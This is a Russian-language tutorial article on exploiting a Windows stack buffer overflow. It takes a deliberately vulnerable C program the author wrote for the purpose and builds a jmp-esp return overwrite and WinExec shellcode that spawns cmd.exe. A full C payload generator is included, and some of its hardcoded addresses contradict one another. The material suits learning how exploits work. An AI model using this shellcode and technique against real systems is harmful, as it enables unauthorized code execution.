Базы данныхИнтернетКомпьютерыОперационные системыПрограммированиеСетиСвязьРазное
Поиск по сайту:
Подпишись на рассылку:

Назад в раздел

Stack Overflows in Action

div.main {margin-left: 20pt; margin-right: 20pt} Stack Overflows in Action
Part №2

1. Header
В прошлой статье я выложил информацию общего плана, которая необходима для тех, кто услышал о эксплоитах впервые, а тем более никогда не вникал в основную идею. Теперь приступлю к изложению непосредственно практики, которая на самом деле и является воплощением предыдущей статьи.
Сразу хочу предупредить, что данный шелл не совершенен и максимально упрощен, к примеру вместо получения адреса необходимых функций с помощью пары LoadLibrary/GetProcAddress используются прямые ссылки, что локализирует действие данного шелла на те системы, на которых адреса, зашитые в шелл совпадут с реальными адресами функций в DLL. Очевидно от чего это зависит - если Windows загрузит DLL по другой базе, то шелл вылетит с сообщением...
...где 0х77е8898b адрес jmp esp в kernel32.dll в моей системе.
Поэтому в данном шелле подбор адресов должен производится чисто индивидуально для каждой системы. Далее я опишу как определять эти адреса. Зачем так стараться? ИМХО: это улучшит навыки любого кто самостоятельно найдет нужный адрес своим девайсом(то есть ручками). А вообще нужно действовать несколько иначе: для особо продвинутых подскажу идеи:
а) Использовать ссылки из таблицы импорта
б) Использовать LoadLibrary/GetProcAddress
Но эта тема будет обсуждаться в других статьях.
Начнем...

2. Sections
Пишем собственную прогу вида "owerflow.c" #include <stdio.h> #include <string.h> int test(char *big) { char buffer[100]; // переполняемый буфер strcpy(buffer,big);// собственно само переполнение return 0; } int main () { char big[512]; gets(big); // получение текствой строки-сюда-то мы и передаем наш шелл test(big); // вызов уязвимой функции return 0; } В этом коде нет ничего сверхъестественного, а потому идем далее. Как определить, что переполняется, где переполняется и чего куда передавать?
Элементарно! Берем, запускаем нашу программу owerflow.exe(для танкистов - owerflow.exe получается путем компиляции owerflow.c ) и передаем ей строку вида:
Аааааа.........ааааааааа - где-то примерно символов 110 для уверенности. И что мы видим?
Доигрались - скажете вы. А на самом-то деле все отлично прошло, вы взорвали буфер и как результат(об этом я и упоминал в первой части), перезаписали адрес возврата из функции кодом 0х61(тоесть символом 'a'). А теперь я вас хочу спросить: кто мешает вам вместо бессмысленных строк символов передать строку опкодов, которая получила гордое название шелл-кода? Никто! При внимательном рассмотрении сложившейся ситуации под четким оком SoftIce, легко понять что произошло: благодаря специфике стека наша строка затерла собой как сохраненное значение ebp, так и адрес возврата. Обратите внимание, что адрес возврата затирается 104,105,106,107 символами нашей строки(это видно тогда, когда вместо ааа..аааа передется последовательность символов с ASCII кодами начиная с 32 по 256), поэтому необходимо сформировать строку так, чтобы 104-107 байты содержали адрес, по которому нужно передать управление. Теперь выясним это самый адрес, но сперва замечу, что байты с 100 по 103 перекрывают сохраненное значение EBP - это нам тоже пригодится для формирования стэка, но об этом позже. Посмотрев в SoftIce содержимое регистра esp в момент переполнения, легко установить, что там содержится адрес байта нашей строки, следующего за последним из четырех байтов, перекрывающих EIP. Сие означает следующее:

(*) - Символы, заполняющие буфер-приемник и потому не имеющие значения, их заполним NOP
(**) - Эти 4 байта начиная с N и заканчивая N+3 перекрывают собой EIP. Поэтому для корректного исполнения шелл-кода они должны содержать адрес, по которому размещается первый байт нашего шелла, либо адрес инструкции, переводящий процессор на исполнение этого первого байта.
(***) - Начиная с N+4 и до M идут опкоды, которые и составят наш шелл. С помощью SoftIce удалось установить, что нужный нам адрес перехода содержится в ESP после исполнения RET в вызываемой функции test -> если переполнить буфер при запущенном SoftIce, то во всплывшем окне отладчика нужно просто просмотреть значения регистров и командой D esp просмотреть содержимое памяти по адресу в esp, там мы увидим нашу строку начиная с N+4.

Отлично! Осталось заполнить строку, начиная со 108-позиции, опкодами и передать управление по адресу в esp. Для этого снова переполним программу при запущенном Sice и когда он всплывет введем команду:
:S 10000000 l ffffffff FF e4
где 10000000-ffffffff-диапазон поиска, а FF e4-опкод инструкции jmp esp
получим:
;Pattern found at xxxxxxxx <- этот адрес может отличаться(у меня он равен 77e98601, что соответствует ntdll.dll).
Мы определили адрес jmp esp-теперь мы передадим этот адрес в позиции 104-107 и получим, что при переполнении в eip будет помещен адрес инструкции jmp esp из ntdll.dll, которая и перебросит нас на 108-позицию нашей строки. Осталось эту самую строку наполнить опкодами. В качестве шелла обычно используют код, реализующий загрузку консоли(для виндов это аналогично окну Command Prompt). Для этого составим программу на C:
"winexec.c" #include <windows.h> typedef (*PFUNK)(char*,DWORD); int main () { HMODULE hDll=LoadLibrary("kernel32.dll"); PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec"); (*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW); } WinExec исполняет программу, требует 2 параметра и располагается в kernel32.dll. Все это работает потому, что kernel32.dll использует любая программа и потому, что адрес не содержит нулевых байтов, наличие которых недопустимо. В переменной pFunc получим адрес WinExec, у каждого он будет свой. Теперь нам нужно сформировать асм-код, вызывающий WinExec. Вот он: __asm { mov esp,ebp ;формируем пролог push ebp mov ebp,esp mov esi,esp xor edi,edi;формируем завершающие нули push edi sub esp,18h//освобождаем в стэке место под строку //стэк должен всегда быть выровнян на границу кратную 4 //для обеспечения гранулярности mov byte ptr [ebp-1ch],63h //'c'//пулим в стэк строку mov byte ptr [ebp-1bh],6Dh //'m' mov byte ptr [ebp-1ah],64h //'d' mov byte ptr [ebp-19h],2Eh //'.' mov byte ptr [ebp-18h],65h //'e' mov byte ptr [ebp-17h],78h //'x' mov byte ptr [ebp-16h],65h //'e' mov byte ptr [ebp-15h],20h //' ' mov byte ptr [ebp-14h],2fh //'/' mov byte ptr [ebp-13h],4bh //'K' mov byte ptr [ebp-12h],20h //' ' mov byte ptr [ebp-11h],73h //'s' mov byte ptr [ebp-10h],74h //'t' mov byte ptr [ebp-0fh],61h //'a' mov byte ptr [ebp-0eh],72h //'r' mov byte ptr [ebp-0dh],74h //'t' mov byte ptr [ebp-0ch],20h //' ' mov byte ptr [ebp-0bh],63h //'c' mov byte ptr [ebp-0ah],6dh //'m' mov byte ptr [ebp-09h],64h //'d' mov byte ptr [ebp-08h],2Eh //'.' mov byte ptr [ebp-07h],65h //'e' mov byte ptr [ebp-06h],78h //'x' mov byte ptr [ebp-05h],65h //'e' //поместить в eax адрес winexec полученный из pFunc mov eax, 0x77e98601 //поместить в стэк адрес winexec push eax //передаем параметр SW_SHOW push 05 //передаем адрес строки lea eax,[ebp-1ch] push eax //ExitProcess в eax mov eax,0x77e9b0bb push eax //устанавливаем адрес возврата mov eax, 0x77e98601 //перейти на точку входа winexec jmp eax }
Этот код проверялся в Visual C++6.0 и все работает отлично. Ну теперь осталось сформировать строку из опкодов. А где их взять? Да в том же Visual C++ Debugger. Просто при трассировке из контекстного меню выберите опцию Code Bytes при включенном Disassembly mode и вы получите необходимые опкоды. Осталось только собрать все воедино: "overflower.c" #include <stdio.h> int main() { int i; char buf[256]; //ЗАПОЛНЯЕМ БУФЕР NOP for (i=0;i<100;i++) buf[i]=0x90; // Перекрыть ebp адресом начала нашего строкового буфера, // чтобы потом использовать его под стек, адрес передается // через xor чтобы затереть нули. Затем инструкцией // xor ebp,0xffffffff восстанавливаем первоначальный адрес buf[100]=0x3f; buf[101]=0x01; buf[102]=0xed; buf[103]=0xff; //поместить адрес инструкции jmp esp //расположенной в ntdll.dll по адресу 77f8948B //в те 4 байта которые перекрывают eip buf[104]=0x8b; buf[105]=0x94;//89; buf[106]=0xf8;//e8; buf[107]=0x77; buf[108]=0x90; //xor ebp,0xffffffff <-формируем министек для последующего вызова winexec buf[109]=0x83; buf[110]=0xf5; buf[111]=0xff; //**************** //mov esp,ebp buf[112]=0x8b; buf[113]=0xe5; //****************** //push ebp buf[114]=0x55; //mov ebp,esp buf[115]=0x8b; buf[116]=0xec; //xor edi,edi buf[117]=0x33; buf[118]=0xff; //push edi buf[119]=0x57; //sub esp,18h buf[120]=0x83; buf[121]=0xec; buf[122]=0x18; //********************************** //создание строки на стеке * //mov byte ptr [ebp-19h],63h 'c' buf[123]=0xc6; buf[124]=0x45; buf[125]=0xe4; buf[126]=0x63; //mov byte ptr [ebp-18h],6dh 'm' buf[127]=0xc6; buf[128]=0x45; buf[129]=0xe5; buf[130]=0x6d; //mov byte ptr [ebp-17h],64h 'd' buf[131]=0xc6; buf[132]=0x45; buf[133]=0xe6; buf[134]=0x64; //mov byte ptr [ebp-16h],2eh '.' buf[135]=0xc6; buf[136]=0x45; buf[137]=0xe7; buf[138]=0x2e; //mov byte ptr [ebp-15h],65h 'e' buf[139]=0xc6; buf[140]=0x45; buf[141]=0xe8; buf[142]=0x65; //mov byte ptr [ebp-14h],78h 'x' buf[143]=0xc6; buf[144]=0x45; buf[145]=0xe9; buf[146]=0x78; //mov byte ptr [ebp-13h],65h 'e' buf[147]=0xc6; buf[148]=0x45; buf[149]=0xea; buf[150]=0x65; //mov byte ptr [ebp-12h],20h ' ' buf[151]=0xc6; buf[152]=0x45; buf[153]=0xeb; buf[154]=0x20; //mov byte ptr [ebp-11h],2fh '/' buf[155]=0xc6; buf[156]=0x45; buf[157]=0xec; buf[158]=0x2f; //mov byte ptr [ebp-10h],4bh 'K' buf[159]=0xc6; buf[160]=0x45; buf[161]=0xed; buf[162]=0x4b; //mov byte ptr [ebp-0fh],20h ' ' buf[163]=0xc6; buf[164]=0x45; buf[165]=0xee; buf[166]=0x20; //mov byte ptr [ebp-0eh],73h 's' buf[167]=0xc6; buf[168]=0x45; buf[169]=0xef; buf[170]=0x73; //mov byte ptr [ebp-0dh],74h 't' buf[171]=0xc6; buf[172]=0x45; buf[173]=0xf0; buf[174]=0x74; //mov byte ptr [ebp-0ch],61h 'a' buf[175]=0xc6; buf[176]=0x45; buf[177]=0xf1; buf[178]=0x61; //mov byte ptr [ebp-0bh],72h 'r' buf[179]=0xc6; buf[180]=0x45; buf[181]=0xf2; buf[182]=0x72; //mov byte ptr [ebp-0ah],74h 't' buf[183]=0xc6; buf[184]=0x45; buf[185]=0xf3; buf[186]=0x74; //mov byte ptr [ebp-9],20h ' ' buf[187]=0xc6; buf[188]=0x45; buf[189]=0xf4; buf[190]=0x20; //mov byte ptr [ebp-8],63h 'c' buf[191]=0xc6; buf[192]=0x45; buf[193]=0xf5; buf[194]=0x63; //mov byte ptr [ebp-7],6dh 'm' buf[195]=0xc6; buf[196]=0x45; buf[197]=0xf6; buf[198]=0x6d; //mov byte ptr [ebp-6],64h 'd' buf[199]=0xc6; buf[200]=0x45; buf[201]=0xf7; buf[202]=0x64; //mov byte ptr [ebp-5],2eh '.' buf[203]=0xc6; buf[204]=0x45; buf[205]=0xf8; buf[206]=0x2e; //mov byte ptr [ebp-4],65h 'e' buf[207]=0xc6; buf[208]=0x45; buf[209]=0xf9; buf[210]=0x65; //mov byte ptr [ebp-3],78h 'x' buf[211]=0xc6; buf[212]=0x45; buf[213]=0xfa; buf[214]=0x78; //mov byte ptr [ebp-2],65h 'e' buf[215]=0xc6; buf[216]=0x45; buf[217]=0xfb; buf[218]=0x65; //************************************* //mov eax,77 e9 86 01h <-Winexec address buf[219]=0xb8; buf[220]=0x01; buf[221]=0x86; buf[222]=0xe9; buf[223]=0x77; //push eax buf[224]=0x50; //push 05 <-SW_SHOW_NORMAL buf[225]=0x6a; buf[226]=0x05; //lea eax,[ebp-1ch] <-адрес строки buf[227]=0x8d; buf[228]=0x45; buf[229]=0xe4; //push eax buf[230]=0x50; //эмулируем call dword ptr [ebp-0ch] //для этого формируем адрес возврата и пушим его //а затем просто джампим на eax в котором адрес аналог.[ebp-0ch] //таким образом прыгаем на winexec, которая возвращает //управление на ExitProcess //mov eax,0x77e8f32d <-ExitProcess buf[231]=0xb8; buf[232]=0x2d; buf[233]=0xf3; buf[234]=0xe8; buf[235]=0x77; //push eax <-сделать адресом возврата адрес переданный в eax buf[236]=0x50; //mov eax,0x77e8f32d <-WinExec address buf[237]=0xb8; buf[238]=0x01; buf[239]=0x86; buf[240]=0xe9; buf[241]=0x77; //jmp eax <-выполнить WinExec buf[242]=0xff; buf[243]=0xe0; //ПЕРЕДАТЬ СТРОКУ В ПЕРЕПОЛНЯЕМЫЙ БУФЕР for(i=0;i<256;i++) { printf("%c",buf[i]); } } Ну вот вроде и все. Единственное: добавлю про ebp - этот регистр играет важную роль в нашем нелегком деле. Нужно где-то формировать стэк, но где? А почему не использовать под стэк наш буфер, заполненный NOP? Так и забилдим, под SoftIce посмотрим содержимое ESP и отнимем от него 64h либо зададим искать строку 0х9090909090 - кто как желает, главное найти адрес начала буфера. Затем этот адрес поместим в EBP (помните в начале я акцентировал внимание на том, что байты с 100 по 103 перекрывают ebp - ну так и поместим найденный адрес в эти байты предварительно удалив из него нули). А как? Да очень просто - сделать Исключающее ИЛИ в терминах булевой алгебры, либо по-простому XOR. Тоесть иксорим начальный адрес, передаем в ebp, а затем в шелле снова делаем XOR EBP,0xFFFFFFFF и все! Теперь у нас есть стек.
Недостатками данного шелла являются прямые ссылки на функции, возможно я поправлю эти фичи и запортирую новый шелл, гораздо более универсальный.


Happy END of Part №2
buLLet
bullet@atlasua.net
uinC Member
[c]uinC

Выражаю огромное спасибо за ПОМОЩЬ Андрею Колищаку, статья котрого лежит здесь.

Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы не отвечаем ни за какие последствия, которые имели место как следствие использования этих материаловпрограмм. Вы используете все вышеперечисленное на свой страх и риск.

Любые материалы с этого сайта не могут быть скопированы без разрешения автора или администрации.



  • Главная
  • Новости
  • Новинки
  • Скрипты
  • Форум
  • Ссылки
  • О сайте




  • Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
     Copyright © 2001-2024
    Реклама на сайте